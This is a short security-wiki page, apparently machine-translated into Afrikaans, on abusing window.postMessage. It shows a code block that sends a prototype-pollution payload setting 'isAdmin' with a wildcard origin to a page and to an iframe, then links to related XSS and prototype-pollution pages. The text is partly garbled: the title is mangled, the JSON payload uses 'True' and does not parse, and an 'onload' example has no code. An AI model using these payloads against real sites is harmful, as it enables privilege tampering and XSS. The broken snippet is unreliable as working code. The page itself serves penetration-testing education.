# PostMessage Kw vulnerabilities {{#include ../../banners/hacktricks-training.md}} ## Stuur **PostMessage** **PostMessage** gebruik die volgende funksie om 'n boodskap te stuur: ```bash targetWindow.postMessage(message, targetOrigin, [transfer]); # postMessage to current page window.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe with id "idframe" document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*') # postMessage to an iframe via onload ``` Vir **meer inligting**: - Skakel na bladsy oor [**prototype besoedeling**](../deserialization/nodejs-proto-prototype-pollution/index.html) - Skakel na bladsy oor [**XSS**](../xss-cross-site-scripting/index.html) - Skakel na bladsy oor [**klantkant prototype besoedeling na XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss) ## Verwysings - [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) - [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) - Om te oefen: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) {{#include ../../banners/hacktricks-training.md}}